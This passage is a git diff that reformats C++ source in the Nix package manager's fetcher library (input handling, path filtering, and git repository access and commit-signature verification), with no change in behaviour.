b/src/libfetchers/fetchers.cc @@ -24,7 +24,8 @@ void registerInputScheme(std::shared_ptr && inputScheme) inputSchemes->insert_or_assign(schemeName, std::move(inputScheme)); } -nlohmann::json dumpRegisterInputSchemeInfo() { +nlohmann::json dumpRegisterInputSchemeInfo() +{ using nlohmann::json; auto res = json::object(); @@ -37,9 +38,7 @@ nlohmann::json dumpRegisterInputSchemeInfo() { return res; } -Input Input::fromURL( - const Settings & settings, - const std::string & url, bool requireTree) +Input Input::fromURL(const Settings & settings, const std::string & url, bool requireTree) { return fromURL(settings, parseURL(url), requireTree); } @@ -53,9 +52,7 @@ static void fixupInput(Input & input) input.getLastModified(); } -Input Input::fromURL( - const Settings & settings, - const ParsedURL & url, bool requireTree) +Input Input::fromURL(const Settings & settings, const ParsedURL & url, bool requireTree) { for (auto & [_, inputScheme] : *inputSchemes) { auto res = inputScheme->inputFromURL(settings, url, requireTree); @@ -84,7 +81,7 @@ Input Input::fromAttrs(const Settings & settings, Attrs && attrs) // but not all of them. Doing this is to support those other // operations which are supposed to be robust on // unknown/uninterpretable inputs. - Input input { settings }; + Input input{settings}; input.attrs = attrs; fixupInput(input); return input; @@ -95,7 +92,8 @@ Input Input::fromAttrs(const Settings & settings, Attrs && attrs) i == inputSchemes->end() ? nullptr : i->second; }); - if (!inputScheme) return raw(); + if (!inputScheme) + return raw(); experimentalFeatureSettings.require(inputScheme->experimentalFeature()); @@ -106,7 +104,8 @@ Input Input::fromAttrs(const Settings & settings, Attrs && attrs) throw Error("input attribute '%s' not supported by scheme '%s'", name, schemeName); auto res = inputScheme->inputFromAttrs(settings, attrs); - if (!res) return raw(); + if (!res) + return raw(); res->scheme = inputScheme; fixupInput(*res); return std::move(*res); @@ -114,9 +113,11 @@ Input Input::fromAttrs(const Settings & settings, Attrs && attrs) std::optional Input::getFingerprint(ref store) const { - if (!scheme) return std::nullopt; + if (!scheme) + return std::nullopt; - if (cachedFingerprint) return *cachedFingerprint; + if (cachedFingerprint) + return *cachedFingerprint; auto fingerprint = scheme->getFingerprint(store, *this); @@ -171,18 +172,20 @@ Attrs Input::toAttrs() const return attrs; } -bool Input::operator ==(const Input & other) const noexcept +bool Input::operator==(const Input & other) const noexcept { return attrs == other.attrs; } bool Input::contains(const Input & other) const { - if (*this == other) return true; + if (*this == other) + return true; auto other2(other); other2.attrs.erase("ref"); other2.attrs.erase("rev"); - if (*this == other2) return true; + if (*this == other2) + return true; return false; } @@ -235,7 +238,8 @@ void Input::checkLocks(Input specified, Input & result) for (auto & field : specified.attrs) { auto field2 = result.attrs.find(field.first); if (field2 != result.attrs.end() && field.second != field2->second) - throw Error("mismatch in field '%s' of input '%s', got '%s'", + throw Error( + "mismatch in field '%s' of input '%s', got '%s'", field.first, attrsToJSON(specified.attrs), attrsToJSON(result.attrs)); @@ -249,30 +253,38 @@ void Input::checkLocks(Input specified, Input & result) if (auto prevNarHash = specified.getNarHash()) { if (result.getNarHash() != prevNarHash) { if (result.getNarHash()) - throw Error((unsigned int) 102, "NAR hash mismatch in input '%s', expected '%s' but got '%s'", - specified.to_string(), prevNarHash->to_string(HashFormat::SRI, true), result.getNarHash()->to_string(HashFormat::SRI, true)); + throw Error( + (unsigned int) 102, + "NAR hash mismatch in input '%s', expected '%s' but got '%s'", + specified.to_string(), + prevNarHash->to_string(HashFormat::SRI, true), + result.getNarHash()->to_string(HashFormat::SRI, true)); else - throw Error((unsigned int) 102, "NAR hash mismatch in input '%s', expected '%s' but got none", - specified.to_string(), prevNarHash->to_string(HashFormat::SRI, true)); + throw Error( + (unsigned int) 102, + "NAR hash mismatch in input '%s', expected '%s' but got none", + specified.to_string(), + prevNarHash->to_string(HashFormat::SRI, true)); } } if (auto prevLastModified = specified.getLastModified()) { if (result.getLastModified() != prevLastModified) - throw Error("'lastModified' attribute mismatch in input '%s', expected %d, got %d", - result.to_string(), *prevLastModified, result.getLastModified().value_or(-1)); + throw Error( + "'lastModified' attribute mismatch in input '%s', expected %d, got %d", + result.to_string(), + *prevLastModified, + result.getLastModified().value_or(-1)); } if (auto prevRev = specified.getRev()) { if (result.getRev() != prevRev) - throw Error("'rev' attribute mismatch in input '%s', expected %s", - result.to_string(), prevRev->gitRev()); + throw Error("'rev' attribute mismatch in input '%s', expected %s", result.to_string(), prevRev->gitRev()); } if (auto prevRevCount = specified.getRevCount()) { if (result.getRevCount() != prevRevCount) - throw Error("'revCount' attribute mismatch in input '%s', expected %d", - result.to_string(), *prevRevCount); + throw Error("'revCount' attribute mismatch in input '%s', expected %d", result.to_string(), *prevRevCount); } } @@ -316,8 +328,7 @@ std::pair, Input> Input::getAccessorUnchecked(ref sto store->ensurePath(storePath); - debug("using substituted/cached input '%s' in '%s'", - to_string(), store->printStorePath(storePath)); + debug("using substituted/cached input '%s' in '%s'", to_string(), store->printStorePath(storePath)); auto accessor = makeStorePathAccessor(store, storePath); @@ -339,11 +350,10 @@ std::pair, Input> Input::getAccessorUnchecked(ref sto return {accessor, std::move(result)}; } -Input Input::applyOverrides( - std::optional ref, - std::optional rev) const +Input Input::applyOverrides(std::optional ref, std::optional rev) const { - if (!scheme) return *this; + if (!scheme) + return *this; return scheme->applyOverrides(*this, ref, rev); } @@ -359,10 +369,7 @@ std::optional Input::getSourcePath() const return scheme->getSourcePath(*this); } -void Input::putFile( - const CanonPath & path, - std::string_view contents, - std::optional commitMsg) const +void Input::putFile(const CanonPath & path, std::string_view contents, std::optional commitMsg) const { assert(scheme); return scheme->putFile(*this, path, contents, commitMsg); @@ -378,11 +385,13 @@ StorePath Input::computeStorePath(Store & store) const auto narHash = getNarHash(); if (!narHash) throw Error("cannot compute store path for unlocked input '%s'", to_string()); - return store.makeFixedOutputPath(getName(), FixedOutputInfo { - .method = FileIngestionMethod::NixArchive, - .hash = *narHash, - .references = {}, - }); + return store.makeFixedOutputPath( + getName(), + FixedOutputInfo{ + .method = FileIngestionMethod::NixArchive, + .hash = *narHash, + .references = {}, + }); } std::string Input::getType() const @@ -415,7 +424,7 @@ std::optional Input::getRev() const if (auto s = maybeGetStrAttr(attrs, "rev")) { try { hash = Hash::parseAnyPrefixed(*s); - } catch (BadHash &e) { + } catch (BadHash & e) { // Default to sha1 for backwards compatibility with existing // usages (e.g. `builtins.fetchTree` calls or flake inputs). hash = Hash::parseAny(*s, HashAlgorithm::SHA1); @@ -444,10 +453,7 @@ ParsedURL InputScheme::toURL(const Input & input) const throw Error("don't know how to convert input '%s' to a URL", attrsToJSON(input.attrs)); } -Input InputScheme::applyOverrides( - const Input & input, - std::optional ref, - std::optional rev) const +Input InputScheme::applyOverrides(const Input & input, std::optional ref, std::optional rev) const { if (ref) throw Error("don't know how to set branch/tag name of input '%s' to '%s'", input.to_string(), *ref); @@ -462,10 +468,7 @@ std::optional InputScheme::getSourcePath(const Input & in } void InputScheme::putFile( - const Input & input, - const CanonPath & path, - std::string_view contents, - std::optional commitMsg) const + const Input & input, const CanonPath & path, std::string_view contents, std::optional commitMsg) const { throw Error("input '%s' does not support modifying file '%s'", input.to_string(), path); } @@ -480,7 +483,7 @@ std::optional InputScheme::experimentalFeature() const return {}; } -std::string publicKeys_to_string(const std::vector& publicKeys) +std::string publicKeys_to_string(const std::vector & publicKeys) { return ((nlohmann::json) publicKeys).dump(); } @@ -495,7 +498,7 @@ using namespace nix; fetchers::PublicKey adl_serializer::from_json(const json & json) { - fetchers::PublicKey res = { }; + fetchers::PublicKey res = {}; if (auto type = optionalValueAt(json, "type")) res.type = getString(*type); diff --git a/src/libfetchers/filtering-source-accessor.cc b/src/libfetchers/filtering-source-accessor.cc index 72a3fb4eb..07f8bd921 100644 --- a/src/libfetchers/filtering-source-accessor.cc +++ b/src/libfetchers/filtering-source-accessor.cc @@ -50,9 +50,8 @@ std::string FilteringSourceAccessor::showPath(const CanonPath & path) void FilteringSourceAccessor::checkAccess(const CanonPath & path) { if (!isAllowed(path)) - throw makeNotAllowedError - ? makeNotAllowedError(path) - : RestrictedPathError("access to path '%s' is forbidden", showPath(path)); + throw makeNotAllowedError ? makeNotAllowedError(path) + : RestrictedPathError("access to path '%s' is forbidden", showPath(path)); } struct AllowListSourceAccessorImpl : AllowListSourceAccessor @@ -68,13 +67,12 @@ struct AllowListSourceAccessorImpl : AllowListSourceAccessor : AllowListSourceAccessor(SourcePath(next), std::move(makeNotAllowedError)) , allowedPrefixes(std::move(allowedPrefixes)) , allowedPaths(std::move(allowedPaths)) - { } + { + } bool isAllowed(const CanonPath & path) override { - return - allowedPaths.contains(path) - || path.isAllowed(allowedPrefixes); + return allowedPaths.contains(path) || path.isAllowed(allowedPrefixes); } void allowPrefix(CanonPath prefix) override @@ -90,16 +88,14 @@ ref AllowListSourceAccessor::create( MakeNotAllowedError && makeNotAllowedError) { return make_ref( - next, - std::move(allowedPrefixes), - std::move(allowedPaths), - std::move(makeNotAllowedError)); + next, std::move(allowedPrefixes), std::move(allowedPaths), std::move(makeNotAllowedError)); } bool CachingFilteringSourceAccessor::isAllowed(const CanonPath & path) { auto i = cache.find(path); - if (i != cache.end()) return i->second; + if (i != cache.end()) + return i->second; auto res = isAllowedUncached(path); cache.emplace(path, res); return res; diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc index 58ba39889..481ca7faf 100644 --- a/src/libfetchers/git-utils.cc +++ b/src/libfetchers/git-utils.cc @@ -36,23 +36,24 @@ namespace std { -template<> struct hash +template<> +struct hash { size_t operator()(const git_oid & oid) const { - return * (size_t *) oid.id; + return *(size_t *) oid.id; } }; } -std::ostream & operator << (std::ostream & str, const git_oid & oid) +std::ostream & operator<<(std::ostream & str, const git_oid & oid) { str << git_oid_tostr_s(&oid); return str; } -bool operator == (const git_oid & oid1, const git_oid & oid2) +bool operator==(const git_oid & oid1, const git_oid & oid2) { return git_oid_equal(&oid1, &oid2); } @@ -80,9 +81,9 @@ typedef std::unique_ptr> Indexer; Hash toHash(const git_oid & oid) { - #ifdef GIT_EXPERIMENTAL_SHA256 +#ifdef GIT_EXPERIMENTAL_SHA256 assert(oid.type == GIT_OID_SHA1); - #endif +#endif Hash hash(HashAlgorithm::SHA1); memcpy(hash.hash, oid.id, hash.hashSize); return hash; @@ -116,7 +117,7 @@ template T peelObject(git_object * obj, git_object_t type) { T obj2; - if (git_object_peel((git_object * *) (typename T::pointer *) Setter(obj2), obj, type)) { + if (git_object_peel((git_object **) (typename T::pointer *) Setter(obj2), obj, type)) { auto err = git_error_last(); throw Error("peeling Git object '%s': %s", *git_object_id(obj), err->message); } @@ -127,7 +128,7 @@ template T dupObject(typename T::pointer obj) { T obj2; - if (git_object_dup((git_object * *) (typename T::pointer *) Setter(obj2), (git_object *) obj)) + if (git_object_dup((git_object **) (typename T::pointer *) Setter(obj2), (git_object *) obj)) throw Error("duplicating object '%s': %s", *git_object_id((git_object *) obj), git_error_last()->message); return obj2; } @@ -146,21 +147,22 @@ static Object peelToTreeOrBlob(git_object * obj) return peelObject(obj, GIT_OBJECT_TREE); } -struct PackBuilderContext { +struct PackBuilderContext +{ std::exception_ptr exception; void handleException(const char * activity, int errCode) { switch (errCode) { - case GIT_OK: - break; - case GIT_EUSER: - if (!exception) - panic("PackBuilderContext::handleException: user error, but exception was not set"); + case GIT_OK: + break; + case GIT_EUSER: + if (!exception) + panic("PackBuilderContext::handleException: user error, but exception was not set"); - std::rethrow_exception(exception); - default: - throw Error("%s: %i, %s", Uncolored(activity), errCode, git_error_last()->message); + std::rethrow_exception(exception); + default: + throw Error("%s: %i, %s", Uncolored(activity), errCode, git_error_last()->message); } } }; @@ -170,9 +172,9 @@ extern "C" { /** * A `git_packbuilder_progress` implementation that aborts the pack building if needed. */ -static int packBuilderProgressCheckInterrupt(int stage, uint32_t current, uint32_t total, void *payload) +static int packBuilderProgressCheckInterrupt(int stage, uint32_t current, uint32_t total, void * payload) { - PackBuilderContext & args = * (PackBuilderContext *) payload; + PackBuilderContext & args = *(PackBuilderContext *) payload; try { checkInterrupt(); return GIT_OK; @@ -185,11 +187,12 @@ static git_packbuilder_progress PACKBUILDER_PROGRESS_CHECK_INTERRUPT = &packBuil } // extern "C" -static void initRepoAtomically(std::filesystem::path &path, bool bare) +static void initRepoAtomically(std::filesystem::path & path, bool bare) { - if (pathExists(path.string())) return; + if (pathExists(path.string())) + return; - Path tmpDir = createTempDir(os_string_to_string(PathViewNG { std::filesystem::path(path).parent_path() })); + Path tmpDir = createTempDir(os_string_to_string(PathViewNG{std::filesystem::path(path).parent_path()})); AutoDelete delTmpDir(tmpDir, true); Repository tmpRepo; @@ -203,8 +206,7 @@ static void initRepoAtomically(std::filesystem::path &path, bool bare) // `path` may be attempted to be deleted by s::f::rename, in which case the code is: || e.code() == std::errc::directory_not_empty) { return; - } - else + } else throw SysError("moving temporary git repository from %s to %s", tmpDir, path); } // we successfully moved the repository, so the temporary directory no longer exists. @@ -248,16 +250,17 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this throw Error("adding mempack backend to Git object database: %s", git_error_last()->message); } - operator git_repository * () + operator git_repository *() { return repo.get(); } - void flush() override { + void flush() override + { checkInterrupt(); git_buf buf = GIT_BUF_INIT; - Finally _disposeBuf { [&] { git_buf_dispose(&buf); } }; + Finally _disposeBuf{[&] { git_buf_dispose(&buf); }}; PackBuilder packBuilder; PackBuilderContext packBuilderContext; git_packbuilder_new(Setter(packBuilder), *this); @@ -265,14 +268,9 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this git_packbuilder_set_threads(packBuilder.get(), 0 /* autodetect */); packBuilderContext.handleException( - "preparing packfile", - git_mempack_write_thin_pack(mempack_backend, packBuilder.get()) - ); + "preparing packfile", git_mempack_write_thin_pack(mempack_backend, packBuilder.get())); checkInterrupt(); - packBuilderContext.handleException( - "writing packfile", - git_packbuilder_write_buf(&buf, packBuilder.get()) - ); + packBuilderContext.handleException("writing packfile", git_packbuilder_write_buf(&buf, packBuilder.get())); checkInterrupt(); std::string repo_path = std::string(git_repository_path(repo.get())); @@ -317,12 +315,16 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this todo.push(peelObject(lookupObject(*this, hashToOID(rev)).get(), GIT_OBJECT_COMMIT)); while (auto commit = pop(todo)) { - if (!done.insert(*git_commit_id(commit->get())).second) continue; + if (!done.insert(*git_commit_id(commit->get())).second) + continue; for (size_t n = 0; n < git_commit_parentcount(commit->get()); ++n) { git_commit * parent; if (git_commit_parent(&parent, commit->get(), n)) - throw Error("getting parent of Git commit '%s': %s", *git_commit_id(commit->get()), git_error_last()->message); + throw Error( + "getting parent of Git commit '%s': %s", + *git_commit_id(commit->get()), + git_error_last()->message); todo.push(Commit(parent)); } } @@ -372,7 +374,8 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this while (true) { git_config_entry * entry = nullptr; if (auto err = git_config_next(&entry, it.get())) { - if (err == GIT_ITEROVER) break; + if (err == GIT_ITEROVER) + break; throw Error("iterating over .gitmodules: %s", git_error_last()->message); } entries.emplace(entry->name + 10, entry->value); @@ -381,14 +384,16 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this std::vector result; for (auto & [key, value] : entries) { - if (!hasSuffix(key, ".path")) continue; + if (!hasSuffix(key, ".path")) + continue; std::string key2(key, 0, key.size() - 5); auto path = CanonPath(value); - result.push_back(Submodule { - .path = path, - .url = entries[key2 + ".url"], - .branch = entries[key2 + ".branch"], - }); + result.push_back( + Submodule{ + .path = path, + .url = entries[key2 + ".url"], + .branch = entries[key2 + ".branch"], + }); } return result; @@ -414,11 +419,9 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this /* Get all tracked files and determine whether the working directory is dirty. */ - std::function statusCallback = [&](const char * path, unsigned int statusFlags) - { - if (!(statusFlags & GIT_STATUS_INDEX_DELETED) && - !(statusFlags & GIT_STATUS_WT_DELETED)) - { + std::function statusCallback = [&](const char * path, + unsigned int statusFlags) { + if (!(statusFlags & GIT_STATUS_INDEX_DELETED) && !(statusFlags & GIT_STATUS_WT_DELETED)) { info.files.insert(CanonPath(path)); if (statusFlags != GIT_STATUS_CURRENT) info.dirtyFiles.insert(CanonPath(path)); @@ -474,7 +477,8 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this Object obj; if (auto errCode = git_object_lookup(Setter(obj), *this, &oid, GIT_OBJECT_ANY)) { - if (errCode == GIT_ENOTFOUND) return false; + if (errCode == GIT_ENOTFOUND) + return false; auto err = git_error_last(); throw Error("getting Git object '%s': %s", oid, err->message); } @@ -485,15 +489,10 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this /** * A 'GitSourceAccessor' with no regard for export-ignore or any other transformations. */ - ref getRawAccessor( - const Hash & rev, - bool smudgeLfs = false); + ref getRawAccessor(const Hash & rev, bool smudgeLfs = false); - ref getAccessor( - const Hash & rev, - bool exportIgnore, - std::string displayPrefix, - bool smudgeLfs = false) override; + ref + getAccessor(const Hash & rev, bool exportIgnore, std::string displayPrefix, bool smudgeLfs = false) override; ref getAccessor(const WorkdirInfo & wd, bool exportIgnore, MakeNotAllowedError e) override; @@ -509,7 +508,8 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this static int transferProgressCallback(const git_indexer_progress * stats, void * payload) { auto act = (Activity *) payload; - act->result(resFetchStatus, + act->result( + resFetchStatus, fmt("%d/%d objects received, %d/%d deltas indexed, %.1f MiB", stats->received_objects, stats->total_objects, @@ -519,14 +519,12 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this return getInterrupted() ? -1 : 0; } - void fetch( - const std::string & url, - const std::string & refspec, - bool shallow) override + void fetch(const std::string & url, const std::string & refspec, bool shallow) override { Activity act(*logger, lvlTalkative, actFetchTree, fmt("fetching Git repository '%s'", url)); - // TODO: implement git-credential helper support (preferably via libgit2, which as of 2024-01 does not support that) + // TODO: implement git-credential helper support (preferably via libgit2, which as of 2024-01 does not support + // that) // then use code that was removed in this commit (see blame) auto dir = this->path; @@ -535,55 +533,52 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this append(gitArgs, {"--depth", "1"}); append(gitArgs, {std::string("--"), url, refspec}); - runProgram(RunOptions { - .program = "git", - .lookupPath = true, - // FIXME: git stderr messes up our progress indicator, so - // we're using --quiet for now. Should process its stderr. - .args = gitArgs, - .input = {}, - .isInteractive = true - }); + runProgram( + RunOptions{ + .program = "git", + .lookupPath = true, + // FIXME: git stderr messes up our progress indicator, so + // we're using --quiet for now. Should process its stderr. + .args = gitArgs, + .input = {}, + .isInteractive = true}); } - void verifyCommit( - const Hash & rev, - const std::vector & publicKeys) override + void verifyCommit(const Hash & rev, const std::vector & publicKeys) override { // Create ad-hoc allowedSignersFile and populate it with publicKeys auto allowedSignersFile = createTempFile().second; std::string allowedSigners; for (const fetchers::PublicKey & k : publicKeys) { - if (k.type != "ssh-dsa" - && k.type != "ssh-ecdsa" - && k.type != "ssh-ecdsa-sk" - && k.type != "ssh-ed25519" - && k.type != "ssh-ed25519-sk" - && k.type != "ssh-rsa") - throw Error("Unknown key type '%s'.\n" + if (k.type != "ssh-dsa" && k.type != "ssh-ecdsa" && k.type != "ssh-ecdsa-sk" && k.type != "ssh-ed25519" + && k.type != "ssh-ed25519-sk" && k.type != "ssh-rsa") + throw Error( + "Unknown key type '%s'.\n" "Please use one of\n" "- ssh-dsa\n" " ssh-ecdsa\n" " ssh-ecdsa-sk\n" " ssh-ed25519\n" " ssh-ed25519-sk\n" - " ssh-rsa", k.type); + " ssh-rsa", + k.type); allowedSigners += "* " + k.type + " " + k.key + "\n"; } writeFile(allowedSignersFile, allowedSigners); // Run verification command - auto [status, output] = runProgram(RunOptions { + auto [status, output] = runProgram( + RunOptions{ .program = "git", - .args = { - "-c", - "gpg.ssh.allowedSignersFile=" + allowedSignersFile, - "-C", path.string(), - "verify-commit", - rev.gitRev() - }, + .args = + {"-c", + "gpg.ssh.allowedSignersFile=" + allowedSignersFile, + "-C", + path.string(), + "verify-commit", + rev.gitRev()}, .mergeStderrToStdout = true, - }); + }); /* Evaluate result through status code and checking if public key fingerprints appear on stderr. This is neccessary @@ -591,7 +586,7 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this commit being signed by gpg keys that are present in the users key agent. */ std::string re = R"(Good "git" signature for \* with .* key SHA256:[)"; - for (const fetchers::PublicKey & k : publicKeys){ + for (const fetchers::PublicKey & k : publicKeys) { // Calculate sha256 fingerprint from public key and escape the regex symbol '+' to match the key literally std::string keyDecoded; try { @@ -599,8 +594,9 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this } catch (Error & e) { e.addTrace({}, "while decoding public key '%s' used for git signature", k.key); } - auto fingerprint = trim(hashString(HashAlgorithm::SHA256, keyDecoded).to_string(nix::HashFormat::Base64, false), "="); - auto escaped_fingerprint = std::regex_replace(fingerprint, std::regex("\\+"), "\\+" ); + auto fingerprint = + trim(hashString(HashAlgorithm::SHA256, keyDecoded).to_string(nix::HashFormat::Base64, false), "="); + auto escaped_fingerprint = std::regex_replace(fingerprint, std::regex("\\+"), "\\+"); re += "(" + escaped_fingerprint + ")"; } re += "]"; @@ -621,7 +617,8 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this auto narHash = accessor->hashPath(CanonPath::root); - fetchers::getCache()->upsert(cacheKey, fetchers::Attrs({{"narHash", narHash.to_string(HashFormat::SRI, true)}})); + fetchers::getCache()->upsert( + cacheKey, fetchers::Attrs({{"narHash", narHash.to_string(HashFormat::SRI, true)}})); return narHash; } @@ -675,8 +672,9 @@ struct GitSourceAccessor : SourceAccessor if (lfsFetch->shouldFetch(path)) { StringSink s; try { - auto contents = std::string((const char *) git_blob_rawcontent(blob.get()), git_blob_rawsize(blob.get())); - lfsFetch->fetch(contents, path, s, [&s](uint64_t size){ s.s.reserve(size); }); + auto contents = + std::string((const char *) git_blob_rawcontent(blob.get()), git_blob_rawsize(blob.get())); + lfsFetch->fetch(contents, path, s, [&s](uint64_t size) { s.s.reserve(size); }); } catch (Error & e) { e.addTrace({}, "while smudging git-lfs file '%s'", path); throw; @@ -701,7 +699,7 @@ struct GitSourceAccessor : SourceAccessor std::optional maybeLstat(const CanonPath & path) override { if (path.isRoot()) - return Stat { .type = git_object_type(root.get()) == GIT_OBJECT_TREE ? tDirectory : tRegular }; + return Stat{.type = git_object_type(root.get()) == GIT_OBJECT_TREE ? tDirectory : tRegular}; auto entry = lookup(path); if (!entry) @@ -710,20 +708,20 @@ struct GitSourceAccessor : SourceAccessor auto mode = git_tree_entry_filemode(entry); if (mode == GIT_FILEMODE_TREE) - return Stat { .type = tDirectory }; + return Stat{.type = tDirectory}; else if (mode == GIT_FILEMODE_BLOB) - return Stat { .type = tRegular }; + return Stat{.type = tRegular}; else if (mode == GIT_FILEMODE_BLOB_EXECUTABLE) - return Stat { .type = tRegular, .isExecutable = true }; + return Stat{.type = tRegular, .isExecutable = true}; else if (mode == GIT_FILEMODE_LINK) - return Stat { .type = tSymlink }; + return Stat{.type = tSymlink}; else if (mode == GIT_FILEMODE_COMMIT) // Treat submodules as an empty directory. - return Stat { .type = tDirectory }; + return Stat{.type = tDirectory}; else throw Error("file '%s' has an unsupported Git file type"); @@ -731,24 +729,23 @@ struct GitSourceAccessor : SourceAccessor DirEntries readDirectory(const CanonPath & path) override { - return std::visit(overloaded { - [&](Tree tree) { - DirEntries res; + return std::visit( + overloaded{ + [&](Tree tree) { + DirEntries res; - auto count = git_tree_entrycount(tree.get()); + auto count = git_tree_entrycount(tree.get()); - for (size_t n = 0; n < count; ++n) { - auto entry = git_tree_entry_byindex(tree.get(), n); - // FIXME: add to cache - res.emplace(std::string(git_tree_entry_name(entry)), DirEntry{}); - } + for (size_t n = 0; n < count; ++n) { + auto entry = git_tree_entry_byindex(tree.get(), n); + // FIXME: add to cache + res.emplace(std::string(git_tree_entry_name(entry)), DirEntry{}); + } - return res; - }, - [&](Submodule) { - return DirEntries(); - } - }, getTree(path)); + return res; + }, + [&](Submodule) { return DirEntries(); }}, + getTree(path)); } std::string readLink(const CanonPath & path) override @@ -776,15 +773,18 @@ struct GitSourceAccessor : SourceAccessor git_tree_entry * lookup(const CanonPath & path) { auto i = lookupCache.find(path); - if (i != lookupCache.end()) return i->second.get(); + if (i != lookupCache.end()) + return i->second.get(); auto parent = path.parent(); - if (!parent) return nullptr; + if (!parent) + return nullptr; auto name = path.baseName().value(); auto parentTree = lookupTree(*parent); - if (!parentTree) return nullptr; + if (!parentTree) + return nullptr; auto count = git_tree_entrycount(parentTree->get()); @@ -826,7 +826,7 @@ struct GitSourceAccessor : SourceAccessor return std::nullopt; Tree tree; - if (git_tree_entry_to_object((git_object * *) (git_tree * *) Setter(tree), *repo, entry)) + if (git_tree_entry_to_object((git_object **) (git_tree **) Setter(tree), *repo, entry)) throw Error("looking up directory '%s': %s", showPath(path), git_error_last()->message); return tree; @@ -840,7 +840,8 @@ struct GitSourceAccessor : SourceAccessor return entry; } - struct Submodule { }; + struct Submodule + {}; std::variant getTree(const CanonPath & path) { @@ -860,7 +861,7 @@ struct GitSourceAccessor : SourceAccessor throw Error("'%s' is not a directory", showPath(path)); Tree tree; - if (git_tree_entry_to_object((git_object * *) (git_tree * *) Setter(tree), *repo, entry)) + if (git_tree_entry_to_object((git_object **) (git_tree **) Setter(tree), *repo, entry)) throw Error("looking up directory '%s': %s", showPath(path), git_error_last()->message); return tree; @@ -871,16 +872,12 @@ struct GitSourceAccessor : SourceAccessor if (!expectSymlink && git_object_type(root.get()) == GIT_OBJECT_BLOB) return dupObject((git_blob *) &*root); - auto notExpected = [&]() - { - throw Error( - expectSymlink - ? "'%s' is not a symlink" - : "'%s' is not a regular file", - showPath(path)); + auto notExpected = [&]() { + throw Error(expectSymlink ? "'%s' is not a symlink" : "'%s' is not a regular file", showPath(path)); }; - if (path.isRoot()) notExpected(); + if (path.isRoot()) + notExpected(); auto entry = need(path); @@ -897,26 +894,31 @@ struct GitSourceAccessor : SourceAccessor } Blob blob; - if (git_tree_entry_to_object((git_object * *) (git_blob * *) Setter(blob), *repo, entry)) + if (git_tree_entry_to_object((git_object **) (git_blob **) Setter(blob), *repo, entry)) throw Error("looking up file '%s': %s", showPath(path), git_error_last()->message); return blob; } }; -struct GitExportIgnoreSourceAccessor : CachingFilteringSourceAccessor { +struct GitExportIgnoreSourceAccessor : CachingFilteringSourceAccessor +{ ref repo; std::optional rev; GitExportIgnoreSourceAccessor(ref repo, ref next, std::optional rev) - : CachingFilteringSourceAccessor(next, [&](const CanonPath & path) { - return RestrictedPathError(fmt("'%s' does not exist because it was fetched with exportIgnore enabled", path)); - }) + : CachingFilteringSourceAccessor( + next, + [&](const CanonPath & path) { + return RestrictedPathError( + fmt("'%s' does not exist because it was fetched with exportIgnore enabled", path)); + }) , repo(repo) , rev(rev) - { } + { + } - bool gitAttrGet(const CanonPath & path, const char * attrName, const char * & valueOut) + bool gitAttrGet(const CanonPath & path, const char * attrName, const char *& valueOut) { const char * pathCStr = path.rel_c_str(); @@ -926,27 +928,16 @@ struct GitExportIgnoreSourceAccessor : CachingFilteringSourceAccessor { // TODO: test that gitattributes from global and system are not used // (ie more or less: home and etc - both of them!) opts.flags = GIT_ATTR_CHECK_INCLUDE_COMMIT | GIT_ATTR_CHECK_NO_SYSTEM; - return git_attr_get_ext( - &valueOut, - *repo, - &opts, - pathCStr, - attrName - ); - } - else { + return git_attr_get_ext(&valueOut, *repo, &opts, pathCStr, attrName); + } else { return git_attr_get( - &valueOut, - *repo, - GIT_ATTR_CHECK_INDEX_ONLY | GIT_ATTR_CHECK_NO_SYSTEM, - pathCStr, - attrName); + &valueOut, *repo, GIT_ATTR_CHECK_INDEX_ONLY | GIT_ATTR_CHECK_NO_SYSTEM, pathCStr, attrName); } } bool isExportIgnored(const CanonPath & path) { - const char *exportIgnoreEntry = nullptr; + const char * exportIgnoreEntry = nullptr; // GIT_ATTR_CHECK_INDEX_ONLY: // > It will use index only for creating archives or for a bare repo @@ -957,8 +948,7 @@ struct GitExportIgnoreSourceAccessor : CachingFilteringSourceAccessor { return false; else throw Error("looking up '%s': %s", showPath(path), git_error_last()->message); - } - else { + } else { // Official git will silently reject export-ignore lines that have // values. We do the same. return GIT_ATTR_IS_TRUE(exportIgnoreEntry); @@ -969,7 +959,6 @@ struct GitExportIgnoreSourceAccessor : CachingFilteringSourceAccessor { { return !isExportIgnored(path); } - }; struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink @@ -989,26 +978,25 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink const git_tree_entry * entry; Tree prevTree = nullptr; - if (!pendingDirs.empty() && - (entry = git_treebuilder_get(pendingDirs.back().builder.get(), name.c_str()))) - { + if (!pendingDirs.empty() && (entry = git_treebuilder_get(pendingDirs.back().builder.get(), name.c_str()))) { /* Clone a tree that we've already finished. This happens if a tarball has directory entries that are not contiguous. */ if (git_tree_entry_type(entry) != GIT_OBJECT_TREE) throw Error("parent of '%s' is not a directory", name); - if (git_tree_entry_to_object((git_object * *) (git_tree * *) Setter(prevTree), *repo, entry)) + if (git_tree_entry_to_object((git_object **) (git_tree **) Setter(prevTree), *repo, entry)) throw Error("looking up parent of '%s': %s", name, git_error_last()->message); } git_treebuilder * b; if (git_treebuilder_new(&b, *repo, prevTree.get())) throw Error("creating a tree builder: %s", git_error_last()->message); - pendingDirs.push_back({ .name = std::move(name), .builder = TreeBuilder(b) }); + pendingDirs.push_back({.name = std::move(name), .builder = TreeBuilder(b)}); }; - GitFileSystemObjectSinkImpl(ref repo) : repo(repo) + GitFileSystemObjectSinkImpl(ref repo) + : repo(repo) { pushBuilder(""); } @@ -1055,34 +1043,34 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink { std::span pathComponents2{pathComponents}; - updateBuilders( - isDir - 